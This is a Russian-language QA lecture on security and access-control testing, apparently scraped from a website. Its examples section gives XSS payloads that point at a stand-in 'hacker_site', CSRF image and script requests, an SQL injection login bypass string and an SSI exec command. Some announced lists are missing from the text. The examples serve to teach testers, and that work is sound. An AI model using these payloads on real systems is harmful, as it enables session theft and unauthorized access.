Лекция
Привет, Вы узнаете о том , что такое тестирование безопасности или security and access control testing, Разберем основные их виды и особенности использования. Еще будет много подробных примеров и описаний. Для того чтобы лучше понимать что такое тестирование безопасности или security and access control testing , настоятельно рекомендую прочитать все из категории Качество и тестирование программного обеспечения. Quality Assurance..
Тестирование безопасности - это стратегия тестирования, используемая для проверки безопасности системы, а также для анализа рисков, связанных с обеспечением целостного подхода к защите приложения, атак хакеров, вирусов, несанкционированного доступа к конфиденциальным данным.
Общая стратегия безопасности основывается на трех основных принципах:
Конфиденциальность - это сокрытие определенных ресурсов или информации. Под конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой категории пользователей, или другими словами, при каких условиях пользователь авторизован получить доступ к данному ресурсу.
Существует два основных критерия при определении понятия целостности:
Доступность представляет собой требования о том, что ресурсы должны быть доступны авторизованному пользователю, внутреннему объекту или устройству. Как правило, чем более критичен ресурс тем выше уровень доступности должен быть.
В настоящее время наиболее распространенными видами уязвимости в безопасности программного обеспечения являются:
Приведем примеры тестирования ПО на предмет уязвимости в системе безопасности. Об этом говорит сайт https://intellect.icu . Для этого Вам необходимо проверить Ваше программное обеспечение на наличия известных видов уязвимостей:
Сами по себе XSS атаки могут быть очень разнообразными. Злоумышленники могут попытаться украсть ваши куки, перенаправить вас на сайт, где произойдет более серьезная атака, загрузить в память какой-либо вредоносный объект и т.д., всего навсего разместив вредоносный скрипт у вас на сайте. Как пример, можно рассмотреть следующий скрипт, выводящий на экран ваши куки:
<script>alert(document.cookie);</script>
либо скрипт делающий редирект на зараженную страницу:
<script>window.parent.location.href='http://hacker_site';</script>
либо создающий вредоносный объект с вирусом и т.п.:
<object type="text/x-scriptlet" data="http://hacker_site"></object>
Для просмотра большего количества примеров рекомендуем посетить страничку: XSS (Cross Site Scripting)...
Наиболее частыми CSRF атаками являются атаки использующие HTML <IMG> тэг или Javascript объект image. Чаще всего атакующий добавляет необходимый код в электронное письмо или выкладывает на веб-сайт, таким образом, что при загрузке страницы осуществляется запрос, выполняющий вредоносный код. Примеры:
IMG SRC
<img src="http://hacker_site/?command">
SCRIPT SRC
<script src="http://hacker_site/?command">
Javascript объект Image
<script> var foo = new Image(); foo.src = "http://hacker_site/?command"; </script>
Вставки исполняемого кода рассмотрим на примере кода SQL.
Форма входа в систему имеет 2 поля - имя и пароль. Обработка происходит в базе данных через выполнение SQL запроса:
SELECT Username FROM Users WHERE Name = 'tester' AND Password = 'testpass';
Вводим корректное имя ’tester’, а в поле пароль вводим строку:
testpass' OR '1'='1
В итоге, Если поле не имеет соответствующих валидаций или обработчиков данных, может вскрыться уязвимость, позволяющая зайти в защищенную паролем систему, т.к.SQL запрос примет следующий вид:
SELECT Username FROM Users WHERE Name = 'tester' AND Password = 'testpass' OR '1'='1';
Условие '1'='1' всегда будет истинным и поэтому SQL запрос всегда будет возвращать много значений.
В зависимости от типа операционной системы команды могут быть разными, как пример рассмотрим команду, которая выводит на экран список файлов в OS Linux:
< !--#exec cmd="ls" -->
Пользователь А может получить доступ к документам пользователя Б. Допустим, есть реализация, где при просмотре своего профиля, содержащего конфеденциальную информацию, в URL страницы передается userID, а данном случае есть смысл попробовать подставить вместо своего userID номер другого пользователя. И если вы увидите его данные, значит вы нашли дефект.
Примеров уязвимостей и атак существует огромное количество. Даже проведя полный цикл тестирования безопасности, нельзя быть на 100% уверенным, что система по-настоящему обезопасена. Но можно быть уверенным в том, что процент несанкционированных проникновений, краж информации и потерь данных будет в разы меньше, чем у тех кто не проводил тестирования безопасности.
Выводы из данной статьи про тестирование безопасности или security and access control testing указывают на необходимость использования современных методов для оптимизации любых систем. Надеюсь, что теперь ты понял что такое тестирование безопасности или security and access control testing и для чего все это нужно, а если не понял, или есть замечания, то не стесняйся, пиши или спрашивай в комментариях, с удовольствием отвечу. Для того чтобы глубже понять настоятельно рекомендую изучить всю информацию из категории Качество и тестирование программного обеспечения. Quality Assurance.
Из статьи мы узнали кратко, но содержательно про тестирование безопасности или security and access control testing
Комментарии
Оставить комментарий
Качество и тестирование программного обеспечения. Quality Assurance.
Термины: Качество и тестирование программного обеспечения. Quality Assurance.